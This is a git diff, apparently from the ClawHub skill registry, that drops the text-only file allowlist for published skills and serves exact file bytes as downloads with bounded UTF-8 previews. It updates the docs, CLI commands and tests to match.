Defaults to latest version. -- File size limit: 200KB. +- Raw download limit: 10MB. +- Text preview limit: 200KB. ### `GET /api/v1/packages` @@ -1197,20 +1201,22 @@ Every change writes an audit log entry. ### `GET /api/v1/packages/{name}/file` -Returns raw text content for a package file. +Returns exact stored package file bytes as a download. Add `preview=1` to request the same bounded +UTF-8 text preview used for skill files. Query params: - `path` (required) - `version` (optional) - `tag` (optional) +- `preview=1` (optional; returns `text/plain` or `415` when the bytes are not valid UTF-8) Notes: - Defaults to the latest release. - Uses the read rate bucket, not the download bucket. -- Binary files return `415`. -- File size limit: 200KB. +- Raw download limit: 10MB. +- Text preview limit: 200KB; opaque files return `415` only for preview requests. - Pending VirusTotal scans do not block reads; malicious releases may still be withheld elsewhere. - Private packages return `404` unless the caller can read the owning publisher. diff --git a/docs/skill-format.md b/docs/skill-format.md index c4612ec4..e786edb7 100644 --- a/docs/skill-format.md +++ b/docs/skill-format.md @@ -1,5 +1,5 @@ --- -summary: "Skill folder format, required files, allowed file types, limits." +summary: "Skill folder format, required files, supporting artifacts, limits." read_when: - Publishing skills - Debugging publish failures @@ -17,7 +17,7 @@ Required: Optional: -- any supporting _text-based_ files (see “Allowed files”) +- any supporting regular files (see “Skill files”) - `.clawhubignore` (ignore patterns for publishing, legacy `.clawdhubignore`) - `.gitignore` (also honored) @@ -168,18 +168,21 @@ metadata: --- ``` -## Allowed files +## Skill files -Only “text-based” files are accepted by publish. +Publish accepts all regular files in the skill folder, regardless of extension. Ignore files, +hidden paths, symlinks, macOS metadata, and server-side size limits still apply. -- Extension allowlist is in `packages/schema/src/textFiles.ts` (`TEXT_FILE_EXTENSIONS`). -- Script files are still scanned after upload; PowerShell `.ps1`, `.psm1`, and `.psd1` files are accepted as text. -- Content types starting with `text/` are treated as text; plus a small allowlist (JSON/YAML/TOML/JS/TS/Markdown/SVG). +- Bounded files that contain valid UTF-8 can be previewed as escaped plain text and are included + in bounded text analysis. +- Other files keep their exact bytes and are available to download. +- Security scanners receive the complete stored artifact; text detection is a rendering and + analysis concern, not an upload allowlist. Limits (server-side): - Total bundle size: 50MB. -- Embedding text includes `SKILL.md` + up to ~40 non-`.md` files (best-effort cap). +- Embedding text includes `SKILL.md` + up to ~40 bounded UTF-8 files (best-effort cap). ## Slugs diff --git a/e2e/local-auth/helpers.ts b/e2e/local-auth/helpers.ts index f9824709..16bcf7b5 100644 --- a/e2e/local-auth/helpers.ts +++ b/e2e/local-auth/helpers.ts @@ -1,5 +1,5 @@ import { mkdir, writeFile } from "node:fs/promises"; -import { join } from "node:path"; +import { dirname, join } from "node:path"; import { expect, type Page, type TestInfo } from "@playwright/test"; import convexBrowser from "convex/browser"; import { api } from "../../convex/_generated/api"; @@ -550,6 +550,7 @@ export async function publishSkillVersion( versionExists?: () => Promise; skillMarkdown?: string; completeChecks?: boolean; + files?: Array<{ path: string; contents: string | Uint8Array }>; }, ) { const skillDir = testInfo.outputPath(`${args.slug}-${args.version}`); @@ -564,6 +565,11 @@ export async function publishSkillVersion( }), "utf8", ); + for (const file of args.files ?? []) { + const filePath = join(skillDir, file.path); + await mkdir(dirname(filePath), { recursive: true }); + await writeFile(filePath, file.contents); + } await waitForPublishSkillForm(page); const publishButton = page.getByRole("button", { name: "Publish skill" }); diff --git a/e2e/local-auth/publish-skill-lifecycle.pw.test.ts b/e2e/local-auth/publish-skill-lifecycle.pw.test.ts index c99350e3..24757e08 100644 --- a/e2e/local-auth/publish-skill-lifecycle.pw.test.ts +++ b/e2e/local-auth/publish-skill-lifecycle.pw.test.ts @@ -608,9 +608,57 @@ test("skill publishers can create a skill and publish a new version", async ({ version: "1.0.1", versionLabel: "second release", changelog: "Second release published through the owner new-version workflow.", + files: [ + { + path: "main.tf", + contents: 'resource "null_resource" "demo" {}\n', + }, + { + path: "terraform.tfvars", + contents: 'region = "us-east-1"\n', + }, + { + path: "assets/payload.bin", + contents: Uint8Array.from([0, 1, 2, 255]), + }, + ], }); await expectCurrentVersion(page, "1.0.1"); + await page.getByRole("tab", { name: "Files" }).click(); + await expect(page.getByRole("button", { name: /main\.tf/i })).toBeVisible(); + await expect(page.getByRole("button", { name: /terraform\.tfvars/i })).toBeVisible(); + await expect(page.getByRole("button", { name: /assets\/payload\.bin/i })).toBeVisible(); + + await page.getByRole("button", { name: /main\.tf/i }).click(); + await expect(page.locator("pre.file-viewer-code")).toContainText( + 'resource "null_resource" "demo" {}', + ); + await page.getByRole("button", { name: "Back to file list" }).click(); + + await page.getByRole("button", { name: /assets\/payload\.bin/i }).click(); + await expect( + page.getByText("This file is available to download but cannot be previewed as text."), + ).toBeVisible(); + const downloadLink = page.getByRole("link", { name: "Download payload.bin" }); + const downloadHref = await downloadLink.getAttribute("href"); + expect(downloadHref).toContain( + `/api/v1/skills/${slug}/file?path=assets%2Fpayload.bin&ownerHandle=${ownerHandle}`, + ); + + const rawResponse = await page.request.get( + `${convexSiteUrl()}/api/v1/skills/${slug}/file?path=assets%2Fpayload.bin&ownerHandle=${ownerHandle}`, + ); + expect(rawResponse.status()).toBe(200); + expect(new Uint8Array(await rawResponse.body())).toEqual(Uint8Array.from([0, 1, 2, 255])); + expect(rawResponse.headers()["content-disposition"]).toContain("attachment"); + expect(rawResponse.headers()["x-content-type-options"]).toBe("nosniff"); + await page.screenshot({ + path: testInfo.outputPath("mixed-skill-files.png"), + fullPage: true, + }); + + await page.getByRole("button", { name: "Back to file list" }).click(); await page.getByRole("tab", { name: "Versions" }).click(); await expect(page.getByRole("heading", { name: "Versions" })).toBeVisible(); await expect(page.getByText(/^v1\.0\.1\b/).first()).toBeVisible(); diff --git a/package.json b/package.json index ae2ae76e..f6a2a258 100644 --- a/package.json +++ b/package.json @@ -175,10 +175,13 @@ }, "overrides": { "ast-v8-to-istanbul": "1.0.4", + "brace-expansion": "5.0.7", "dompurify": "3.4.11", "esbuild": "0.28.1", + "js-yaml": "4.3.0", "next": "16.2.6", "postcss": "8.5.12", + "shell-quote": "1.10.0", "undici": "7.28.0", "ws": "8.21.0" } diff --git a/packages/clawhub/src/cli.ts b/packages/clawhub/src/cli.ts index d5f7471d..45002c0a 100644 --- a/packages/clawhub/src/cli.ts +++ b/packages/clawhub/src/cli.ts @@ -369,7 +369,7 @@ registerCommand(program, ["inspect"]) .option("--versions", "List version history (first page)") .option("--limit ", "Max versions to list (1-200)", (value) => Number.parseInt(value, 10)) .option("--files", "List files for the selected version") - .option("--file ", "Fetch raw file content (text <= 200KB)") + .option("--file ", "Fetch raw file bytes (<= 10MB)") .option("--json", "Output JSON") .action(async (slug, options) => { const opts = await resolveGlobalOpts(); @@ -575,7 +575,7 @@ registerCommand(packageCmd, ["package", "inspect"]) .option("--versions", "List version history (first page)") .option("--limit ", "Max versions to list (1-100)", (value) => Number.parseInt(value, 10)) .option("--files", "List files for the selected version") - .option("--file ", "Fetch raw file content (text only)") + .option("--file ", "Fetch a text preview (<= 200KB)") .option("--json", "Output JSON") .action(async (name, options) => { const opts = await resolveGlobalOpts(); diff --git a/packages/clawhub/src/cli/commands/inspect.test.ts b/packages/clawhub/src/cli/commands/inspect.test.ts index 9e1fac6a..0329605b 100644 --- a/packages/clawhub/src/cli/commands/inspect.test.ts +++ b/packages/clawhub/src/cli/commands/inspect.test.ts @@ -110,16 +110,54 @@ describe("cmdInspect", () => { skill: { slug: "demo", displayName: "Demo" }, version: { version: "2.0.0", createdAt: 3, changelog: "init", files: [] }, }); - httpMocks.fetchText.mockResolvedValue("content"); + const fileBytes = new TextEncoder().encode("content"); + httpMocks.fetchBinary.mockResolvedValue(fileBytes); await cmdInspect(makeGlobalOpts(), "demo", { file: "SKILL.md", tag: "latest" }); - const fetchArgs = httpMocks.fetchText.mock.calls[0]?.[1]; + const fetchArgs = httpMocks.fetchBinary.mock.calls[0]?.[1]; const url = new URL(String(fetchArgs?.url)); expect(url.pathname).toBe("/api/v1/skills/demo/file"); expect(url.searchParams.get("path")).toBe("SKILL.md"); expect(url.searchParams.get("tag")).toBe("latest"); expect(url.searchParams.get("version")).toBeNull(); + expect(mockWrite).toHaveBeenCalledTimes(1); + expect(mockWrite).toHaveBeenCalledWith(fileBytes); + }); + + it("represents opaque file bytes losslessly in JSON", async () => { + const opaqueBytes = Uint8Array.from([0, 1, 2, 255]); + httpMocks.apiRequest + .mockResolvedValueOnce({ + skill: { + slug: "demo", + displayName: "Demo", + summary: null, + tags: { latest: "2.0.0" }, + stats: {}, + createdAt: 1, + updatedAt: 2, + }, + latestVersion: { version: "2.0.0", createdAt: 3, changelog: "init", license: "MIT-0" }, + owner: null, + }) + .mockResolvedValueOnce({ + skill: { slug: "demo", displayName: "Demo" }, + version: { version: "2.0.0", createdAt: 3, changelog: "init", files: [] }, + }); + httpMocks.fetchBinary.mockResolvedValue(opaqueBytes); + + await cmdInspect(makeGlobalOpts(), "demo", { file: "payload.bin", json: true }); + + const output = JSON.parse(String(mockLog.mock.calls.at(-1)?.[0])) as { + file: { content: string | null; contentBase64: string }; + }; + expect(output.file).toEqual({ + path: "payload.bin", + content: null, + contentBase64: "AAEC/w==", + }); + expect(mockWrite).not.toHaveBeenCalled(); }); it("prints security summary when version security metadata exists", async () => { diff --git a/packages/clawhub/src/cli/commands/inspect.ts b/packages/clawhub/src/cli/commands/inspect.ts index a97561a4..0053923d 100644 --- a/packages/clawhub/src/cli/commands/inspect.ts +++ b/packages/clawhub/src/cli/commands/inspect.ts @@ -1,4 +1,4 @@ -import { apiRequest, fetchText, registryUrl } from "../../http.js"; +import { apiRequest, fetchBinary, fetchText, registryUrl } from "../../http.js"; import { ApiRoutes, PLATFORM_SKILL_LICENSE, @@ -8,6 +8,7 @@ import { ApiV1SkillVerifyResponseSchema, ApiV1SkillVersionListResponseSchema, ApiV1SkillVersionResponseSchema, + decodeUtf8Text, } from "../../schema/index.js"; import { getOptionalAuthToken } from "../authToken.js"; import { getRegistry } from "../registry.js"; @@ -162,7 +163,7 @@ export async function cmdInspect(opts: GlobalOpts, slug: string, options: Inspec ); } - let fileContent: string | null = null; + let fileBytes: Uint8Array | null = null; if (options.file) { const url = registryUrl(`${ApiRoutes.skills}/${encodeURIComponent(trimmed)}/file`, registry); if (requested.ownerHandle) url.searchParams.set("ownerHandle", requested.ownerHandle); @@ -175,7 +176,7 @@ export async function cmdInspect(opts: GlobalOpts, slug: string, options: Inspec url.searchParams.set("version", latestVersion); } spinner.text = `Fetching ${options.file}`; - fileContent = await fetchText(registry, { url: url.toString(), token }); + fileBytes = await fetchBinary(registry, { url: url.toString(), token }); } spinner.stop(); @@ -187,7 +188,14 @@ export async function cmdInspect(opts: GlobalOpts, slug: string, options: Inspec moderation: moderationDiagnostics?.moderation ?? skillResult.moderation ?? null, version: versionResult?.version ?? null, versions: versionsList?.items ?? null, - file: options.file ? { path: options.file, content: fileContent } : null, + file: + options.file && fileBytes + ? { + path: options.file, + content: decodeUtf8Text(fileBytes), + contentBase64: Buffer.from(fileBytes).toString("base64"), + } + : null, }; if (options.json) { @@ -238,10 +246,9 @@ export async function cmdInspect(opts: GlobalOpts, slug: string, options: Inspec } } - if (options.file && fileContent !== null) { + if (options.file && fileBytes !== null) { if (shouldPrintMeta) console.log(`\n${options.file}:\n`); - process.stdout.write(fileContent); - if (!fileContent.endsWith("\n")) process.stdout.write("\n"); + process.stdout.write(fileBytes); } } catch (error) { spinner.fail(formatError(error)); diff --git a/packages/clawhub/src/cli/commands/packages.test.ts b/packages/clawhub/src/cli/commands/packages.test.ts index 7fcaae6f..7c20c0d2 100644 --- a/packages/clawhub/src/cli/commands/packages.test.ts +++ b/packages/clawhub/src/cli/commands/packages.test.ts @@ -597,6 +597,7 @@ describe("package commands", () => { expect(url.searchParams.get("path")).toBe("README.md"); expect(url.searchParams.get("tag")).toBe("latest"); expect(url.searchParams.get("version")).toBeNull(); + expect(url.searchParams.get("preview")).toBe("1"); }); it("downloads a ClawPack artifact through the explicit artifact resolver", async () => { diff --git a/packages/clawhub/src/cli/commands/packages.ts b/packages/clawhub/src/cli/commands/packages.ts index 8551903c..6ff7ccdb 100644 --- a/packages/clawhub/src/cli/commands/packages.ts +++ b/packages/clawhub/src/cli/commands/packages.ts @@ -438,6 +438,7 @@ export async function cmdInspectPackage( registry, ); url.searchParams.set("path", options.file); + url.searchParams.set("preview", "1"); if (options.version) { url.searchParams.set("version", options.version); } else if (options.tag) { diff --git a/packages/clawhub/src/cli/commands/publish.test.ts b/packages/clawhub/src/cli/commands/publish.test.ts index 10ce1e21..9c990aa2 100644 --- a/packages/clawhub/src/cli/commands/publish.test.ts +++ b/packages/clawhub/src/cli/commands/publish.test.ts @@ -316,15 +316,22 @@ describe("cmdPublish", () => { } }); - it("publishes SKILL.md from disk (mocked HTTP)", async () => { + it("publishes Terraform and opaque files with exact bytes (mocked HTTP)", async () => { const workdir = await makeTmpWorkdir(); try { const folder = join(workdir, "my-skill"); + const opaqueBytes = Uint8Array.from([0, 1, 2, 255]); await mkdir(folder, { recursive: true }); + await mkdir(join(folder, "assets"), { recursive: true }); const skillContent = "# Skill\n\nHello\n"; const notesContent = "notes\n"; + const terraformContent = 'resource "null_resource" "demo" {}\n'; + const variablesContent = 'region = "us-east-1"\n'; await writeFile(join(folder, "SKILL.md"), skillContent, "utf8"); await writeFile(join(folder, "notes.md"), notesContent, "utf8"); + await writeFile(join(folder, "main.tf"), terraformContent, "utf8"); + await writeFile(join(folder, "terraform.tfvars"), variablesContent, "utf8"); + await writeFile(join(folder, "assets", "payload.bin"), opaqueBytes); httpMocks.apiRequestForm.mockResolvedValueOnce({ ok: true, @@ -363,7 +370,21 @@ describe("cmdPublish", () => { expect(payload.categories).toEqual(["automation", "development"]); expect(payload.topics).toEqual(["React", "GPU development"]); const files = publishForm.getAll("files") as Array; - expect(files.map((file) => file.name ?? "").sort()).toEqual(["SKILL.md", "notes.md"]); + expect(files.map((file) => file.name ?? "").sort()).toEqual([ + "SKILL.md", + "assets/payload.bin", + "main.tf", + "notes.md", + "terraform.tfvars", + ]); + const byName = new Map(files.map((file) => [file.name ?? "", file])); + expect(await byName.get("main.tf")?.text()).toBe(terraformContent); + expect(await byName.get("terraform.tfvars")?.text()).toBe(variablesContent); + expect( + new Uint8Array( + (await byName.get("assets/payload.bin")?.arrayBuffer()) ?? new ArrayBuffer(0), + ), + ).toEqual(opaqueBytes); } finally { await rm(workdir, { recursive: true, force: true }); } diff --git a/packages/clawhub/src/cli/commands/publish.ts b/packages/clawhub/src/cli/commands/publish.ts index 743afb13..ac506802 100644 --- a/packages/clawhub/src/cli/commands/publish.ts +++ b/packages/clawhub/src/cli/commands/publish.ts @@ -8,7 +8,7 @@ import { ApiV1SkillResolveResponseSchema, ApiV1WhoamiResponseSchema, } from "../../schema/index.js"; -import { hashSkillFiles, listTextFiles } from "../../skills.js"; +import { hashSkillFiles, listSkillFiles } from "../../skills.js"; import { getOptionalAuthToken, requireAuthToken } from "../authToken.js"; import { getRegistry } from "../registry.js"; import { sanitizeSlug, titleCase } from "../slug.js"; @@ -16,6 +16,9 @@ import type { GlobalOpts } from "../types.js"; import { createCrabLoader, fail, formatError } from "../ui.js"; import { normalizeGitHubRepo } from "./github.js"; +const MAX_PUBLISH_FILE_BYTES = 10 * 1024 * 1024; +const MAX_PUBLISH_TOTAL_BYTES = 50 * 1024 * 1024; + type SkillPublishResult = { ok: true; status: "unchanged" | "would-publish" | "submitted" | "published" | "pending-publication"; @@ -189,7 +192,9 @@ export async function cmdPublish( for (const file of filesOnDisk) { index += 1; if (spinner) spinner.text = `Uploading ${file.relPath} (${index}/${filesOnDisk.length})`; - const blob = new Blob([Buffer.from(file.bytes)], { type: file.contentType ?? "text/plain" }); + const blob = new Blob([Buffer.from(file.bytes)], { + type: file.contentType ?? "application/octet-stream", + }); form.append("files", blob, file.relPath); } @@ -298,17 +303,23 @@ function writePublishJsonIfRequested(json: boolean | undefined, result: SkillPub export async function prepareSkillFilesForPublish(folder: string) { return stripGeneratedSkillCards( - await ensureRootManifestFile(folder, await listTextFiles(folder)), + await ensureRootManifestFile( + folder, + await listSkillFiles(folder, { + maxFileBytes: MAX_PUBLISH_FILE_BYTES, + maxTotalBytes: MAX_PUBLISH_TOTAL_BYTES, + }), + ), ); } -function stripGeneratedSkillCards(files: Awaited>) { +function stripGeneratedSkillCards(files: Awaited>) { return files.filter((file) => file.relPath.trim().toLowerCase() !== "skill-card.md"); } async function ensureRootManifestFile( folder: string, - files: Awaited>, + files: Awaited>, ) { if ( files.some((file) => { diff --git a/packages/clawhub/src/cli/commands/skills.test.ts b/packages/clawhub/src/cli/commands/skills.test.ts index 005db5c2..d5545d23 100644 --- a/packages/clawhub/src/cli/commands/skills.test.ts +++ b/packages/clawhub/src/cli/commands/skills.test.ts @@ -61,7 +61,7 @@ vi.mock("../ui.js", () => ({ const extractZipToDirMock = vi.spyOn(skillStore, "extractZipToDir"); const extractGitHubZipPathToDirMock = vi.spyOn(skillStore, "extractGitHubZipPathToDir"); const hashSkillFilesMock = vi.spyOn(skillStore, "hashSkillFiles"); -const listTextFilesMock = vi.spyOn(skillStore, "listTextFiles"); +const listTextFilesMock = vi.spyOn(skillStore, "listSkillFiles"); const readLockfileMock = vi.spyOn(skillStore, "readLockfile"); const readSkillOriginMock = vi.spyOn(skillStore, "readSkillOrigin"); const writeLockfileMock = vi.spyOn(skillStore, "writeLockfile"); @@ -91,7 +91,7 @@ const { extractGitHubZipPathToDir, extractZipToDir, hashSkillFiles, - listTextFiles, + listSkillFiles, readLockfile, readSkillOrigin, writeLockfile, @@ -474,7 +474,7 @@ describe("cmdUpdate", () => { vi.mocked(readSkillOrigin).mockResolvedValue(null); vi.mocked(writeSkillOrigin).mockResolvedValue(); vi.mocked(extractZipToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([]); + vi.mocked(listSkillFiles).mockResolvedValue([]); vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] }); vi.mocked(stat).mockRejectedValue(new Error("missing")); vi.mocked(rm).mockResolvedValue(); @@ -522,7 +522,7 @@ describe("cmdUpdate", () => { vi.mocked(writeLockfile).mockResolvedValue(); vi.mocked(writeSkillOrigin).mockResolvedValue(); vi.mocked(extractZipToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([]); + vi.mocked(listSkillFiles).mockResolvedValue([]); await cmdUpdate(makeOpts(), undefined, { all: true }, false); @@ -604,7 +604,7 @@ describe("cmdUpdate", () => { vi.mocked(readSkillOrigin).mockResolvedValue(null); vi.mocked(writeSkillOrigin).mockResolvedValue(); vi.mocked(extractZipToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([]); + vi.mocked(listSkillFiles).mockResolvedValue([]); vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] }); vi.mocked(stat).mockRejectedValue(new Error("missing")); vi.mocked(rm).mockResolvedValue(); @@ -640,7 +640,7 @@ describe("cmdUpdate", () => { vi.mocked(readSkillOrigin).mockResolvedValue(null); vi.mocked(writeSkillOrigin).mockResolvedValue(); vi.mocked(extractZipToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([]); + vi.mocked(listSkillFiles).mockResolvedValue([]); vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] }); vi.mocked(stat).mockRejectedValue(new Error("missing")); vi.mocked(rm).mockResolvedValue(); @@ -692,7 +692,7 @@ describe("cmdUpdate", () => { vi.mocked(readSkillOrigin).mockResolvedValue(null); vi.mocked(writeSkillOrigin).mockResolvedValue(); vi.mocked(extractZipToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([]); + vi.mocked(listSkillFiles).mockResolvedValue([]); vi.mocked(stat).mockRejectedValue(new Error("missing")); await cmdUpdate(makeOpts(), undefined, { all: true }, false); @@ -777,7 +777,7 @@ describe("cmdUpdate", () => { origin = nextOrigin; }); vi.mocked(extractGitHubZipPathToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([]); + vi.mocked(listSkillFiles).mockResolvedValue([]); vi.mocked(stat).mockResolvedValue({} as unknown as Awaited>); await cmdUpdate(makeOpts(), "demo", {}, false); @@ -839,7 +839,7 @@ describe("cmdUpdate", () => { installedVersion: "a".repeat(40), installedAt: 123, }); - vi.mocked(listTextFiles).mockResolvedValue([ + vi.mocked(listSkillFiles).mockResolvedValue([ { relPath: "SKILL.md", bytes: new Uint8Array([1]) }, ]); vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "local-fingerprint", files: [] }); @@ -880,7 +880,7 @@ describe("cmdUpdate", () => { skills: { "aiq-deploy": { version: commit, installedAt: 123 } }, }); vi.mocked(readSkillOrigin).mockResolvedValue(null); - vi.mocked(listTextFiles).mockResolvedValueOnce([ + vi.mocked(listSkillFiles).mockResolvedValueOnce([ { relPath: "SKILL.md", bytes: new Uint8Array([1]) }, ]); vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "clean-fingerprint", files: [] }); @@ -935,7 +935,7 @@ describe("cmdUpdate", () => { installedAt: 123, fingerprint: "clean-fingerprint", }); - vi.mocked(listTextFiles) + vi.mocked(listSkillFiles) .mockResolvedValueOnce([{ relPath: "SKILL.md", bytes: new Uint8Array([9]) }]) .mockResolvedValueOnce([{ relPath: "SKILL.md", bytes: new Uint8Array([1]) }]); vi.mocked(hashSkillFiles) @@ -1004,7 +1004,7 @@ describe("cmdUpdate", () => { vi.mocked(writeLockfile).mockResolvedValue(); vi.mocked(writeSkillOrigin).mockResolvedValue(); vi.mocked(extractZipToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([ + vi.mocked(listSkillFiles).mockResolvedValue([ { relPath: "SKILL.md", bytes: new Uint8Array([1]) }, ]); vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] }); @@ -1045,7 +1045,7 @@ describe("cmdUpdate", () => { skills: { demo: { version: "1.0.0", installedAt: 123 } }, }); vi.mocked(readSkillOrigin).mockResolvedValue(null); - vi.mocked(listTextFiles).mockResolvedValue([ + vi.mocked(listSkillFiles).mockResolvedValue([ { relPath: "SKILL.md", bytes: new Uint8Array([1]) }, { relPath: "skill-card.md", bytes: new Uint8Array([2]) }, ]); @@ -1087,7 +1087,7 @@ describe("cmdUpdate", () => { installedAt: 123, fingerprint: "hash", }); - vi.mocked(listTextFiles).mockResolvedValue([ + vi.mocked(listSkillFiles).mockResolvedValue([ { relPath: "SKILL.md", bytes: new Uint8Array([1]) }, ]); vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] }); @@ -1139,7 +1139,7 @@ describe("cmdUpdate", () => { vi.mocked(writeLockfile).mockResolvedValue(); vi.mocked(writeSkillOrigin).mockResolvedValue(); vi.mocked(extractZipToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([ + vi.mocked(listSkillFiles).mockResolvedValue([ { relPath: "SKILL.md", bytes: new Uint8Array([1]) }, ]); vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] }); @@ -1167,7 +1167,7 @@ describe("cmdUpdate", () => { version: 1, skills: { demo: { version: "1.0.0", installedAt: 123 } }, }); - vi.mocked(listTextFiles).mockResolvedValue([]); + vi.mocked(listSkillFiles).mockResolvedValue([]); await expect(cmdUpdate(makeOpts(), "demo", {}, false)).rejects.toThrow("network down"); @@ -1199,7 +1199,7 @@ describe("cmdUpdate", () => { }, }); vi.mocked(extractZipToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([]); + vi.mocked(listSkillFiles).mockResolvedValue([]); await expect(cmdUpdate(makeOpts(), undefined, { all: true }, false)).rejects.toThrow( "registry down", @@ -1420,7 +1420,7 @@ describe("cmdInstall", () => { vi.mocked(writeLockfile).mockResolvedValue(); vi.mocked(writeSkillOrigin).mockResolvedValue(); vi.mocked(extractGitHubZipPathToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([ + vi.mocked(listSkillFiles).mockResolvedValue([ { relPath: "SKILL.md", bytes: new Uint8Array([1]) }, ]); vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] }); @@ -1960,7 +1960,7 @@ describe("cmdInstall", () => { vi.mocked(writeLockfile).mockResolvedValue(); vi.mocked(writeSkillOrigin).mockResolvedValue(); vi.mocked(extractZipToDir).mockResolvedValue(); - vi.mocked(listTextFiles).mockResolvedValue([ + vi.mocked(listSkillFiles).mockResolvedValue([ { relPath: "SKILL.md", bytes: new Uint8Array([1]) }, ]); vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] }); diff --git a/packages/clawhub/src/cli/commands/skills.ts b/packages/clawhub/src/cli/commands/skills.ts index 3f3d1f70..79d04668 100644 --- a/packages/clawhub/src/cli/commands/skills.ts +++ b/packages/clawhub/src/cli/commands/skills.ts @@ -23,7 +23,7 @@ import { extractZipToDir, hashSkillFiles, listManualSkills, - listTextFiles, + listSkillFiles, readLockfile, readSkillOrigin, writeLockfile, @@ -402,7 +402,7 @@ export async function cmdInstall( await extractZipToDir(zip, installTarget); }); } - const installedFiles = await listTextFiles(target); + const installedFiles = await listSkillFiles(target); const installedFingerprint = installedFiles.length > 0 ? hashSkillFiles(installedFiles).fingerprint : undefined; @@ -555,7 +555,7 @@ export async function cmdUpdate( let localFingerprint: string | null = null; if (exists) { - const filesOnDisk = await listTextFiles(target); + const filesOnDisk = await listSkillFiles(target); if (filesOnDisk.length > 0) { const hashed = hashSkillFiles(filesOnDisk); localFingerprint = hashed.fingerprint; @@ -633,7 +633,7 @@ export async function cmdUpdate( await installSkillWithOptionalStaging(target, exists, (installTarget) => installGitHubSkill(registry, githubResolution, installTarget), ); - const installedFiles = await listTextFiles(target); + const installedFiles = await listSkillFiles(target); const installedFingerprint = installedFiles.length > 0 ? hashSkillFiles(installedFiles).fingerprint : undefined; @@ -765,7 +765,7 @@ export async function cmdUpdate( }); await extractZipToDir(zip, installTarget); }); - const installedFiles = await listTextFiles(target); + const installedFiles = await listSkillFiles(target); const installedFingerprint = installedFiles.length > 0 ? hashSkillFiles(installedFiles).fingerprint : undefined; diff --git a/packages/clawhub/src/cli/commands/sync.test.ts b/packages/clawhub/src/cli/commands/sync.test.ts index b21bc035..ecdeed2a 100644 --- a/packages/clawhub/src/cli/commands/sync.test.ts +++ b/packages/clawhub/src/cli/commands/sync.test.ts @@ -67,7 +67,7 @@ const mockHashSkillFiles = vi.fn((files: Array<{ relPath: string; bytes: Uint8Ar })); const mockReadSkillOrigin = vi.fn(async (_folder?: string): Promise => null); vi.mock("../../skills.js", () => ({ - listTextFiles: (folder: string) => mockListTextFiles(folder), + listSkillFiles: (folder: string) => mockListTextFiles(folder), hashSkillFiles: (files: Array<{ relPath: string; bytes: Uint8Array }>) => mockHashSkillFiles(files), readSkillOrigin: (folder: string) => mockReadSkillOrigin(folder), diff --git a/packages/clawhub/src/schema/textFiles.test.ts b/packages/clawhub/src/schema/textFiles.test.ts index 26309f99..472042bf 100644 --- a/packages/clawhub/src/schema/textFiles.test.ts +++ b/packages/clawhub/src/schema/textFiles.test.ts @@ -2,30 +2,18 @@ import { describe, expect, it } from "vitest"; import * as schema from "."; -import { isTextContentType, TEXT_FILE_EXTENSION_SET } from "./textFiles"; +import { decodeUtf8Text, normalizeContentType } from "./textFiles"; describe("packages/clawhub schema textFiles", () => { - it("exports text-file extension set", () => { - expect(TEXT_FILE_EXTENSION_SET.has("md")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("r")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("ps1")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("psm1")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("psd1")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("tsv")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("conf")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("properties")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("dat")).toBe(true); - expect(TEXT_FILE_EXTENSION_SET.has("exe")).toBe(false); - }); - - it("detects text content types with parameters", () => { - expect(isTextContentType("text/plain; charset=utf-8")).toBe(true); - expect(isTextContentType("application/json; charset=utf-8")).toBe(true); - expect(isTextContentType("application/octet-stream")).toBe(false); - }); - it("re-exports helpers from index", () => { - expect(typeof schema.isTextContentType).toBe("function"); - expect(schema.isTextContentType("application/markdown")).toBe(true); + expect(schema.normalizeContentType("text/markdown; charset=utf-8")).toBe("text/markdown"); + }); + + it("detects previewable UTF-8 bytes without an extension allowlist", () => { + expect(decodeUtf8Text(new TextEncoder().encode("main.tf"))).toBe("main.tf"); + expect(decodeUtf8Text(new TextEncoder().encode("hĂ©đŸ˜€"))).toBe("hĂ©đŸ˜€"); + expect(decodeUtf8Text(Uint8Array.from([0]))).toBe("\0"); + expect(decodeUtf8Text(Uint8Array.from([0, 1, 2, 255]))).toBeNull(); + expect(normalizeContentType("")).toBeUndefined(); }); }); diff --git a/packages/clawhub/src/schema/textFiles.ts b/packages/clawhub/src/schema/textFiles.ts index 8af12889..34a07aa0 100644 --- a/packages/clawhub/src/schema/textFiles.ts +++ b/packages/clawhub/src/schema/textFiles.ts @@ -1,74 +1,86 @@ -const RAW_TEXT_FILE_EXTENSIONS = [ - "md", - "mdx", - "txt", - "json", - "json5", - "yaml", - "yml", - "toml", - "js", - "cjs", - "mjs", - "ts", - "tsx", - "jsx", - "py", - "sh", - "ps1", - "psm1", - "psd1", - "r", - "rb", - "go", - "rs", - "swift", - "kt", - "java", - "cs", - "cpp", - "c", - "h", - "hpp", - "sql", - "csv", - "tsv", - "ini", - "cfg", - "conf", - "env", - "properties", - "dat", - "xml", - 